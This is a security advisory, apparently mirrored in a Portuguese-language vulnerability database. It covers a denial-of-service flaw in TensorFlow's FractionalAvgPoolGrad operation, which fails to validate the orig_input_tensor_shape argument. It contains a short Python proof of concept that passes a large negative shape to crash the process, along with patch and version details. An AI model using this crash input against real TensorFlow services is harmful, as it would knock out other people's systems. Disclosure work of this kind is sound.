PT-2026-59910 · Pypi · Tensorflow-Cpu
Publicado
2026-07-13
·
Atualizado
2026-07-13
CVSS v3.1
5.9
Média
| Vetor | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
The implementation of
FractionalAvgPoolGrad does not fully validate the input orig input tensor shape. This results in an overflow that results in a CHECK failure which can be used to trigger a denial of service attack.python
import tensorflow as tf
overlapping = True
orig input tensor shape = tf.constant(-1879048192, shape=[4], dtype=tf.int64)
out backprop = tf.constant([], shape=[0,0,0,0], dtype=tf.float64)
row pooling sequence = tf.constant(1, shape=[4], dtype=tf.int64)
col pooling sequence = tf.constant(1, shape=[4], dtype=tf.int64)
tf.raw ops.FractionalAvgPoolGrad(orig input tensor shape=orig input tensor shape, out backprop=out backprop, row pooling sequence=row pooling sequence, col pooling sequence=col pooling sequence, overlapping=overlapping)Patches
We have patched the issue in GitHub commit 03a659d7be9a1154fdf5eeac221e5950fec07dad.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Correção
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Identificadores relacionados
Produtos afetados
Tensorflow-Cpu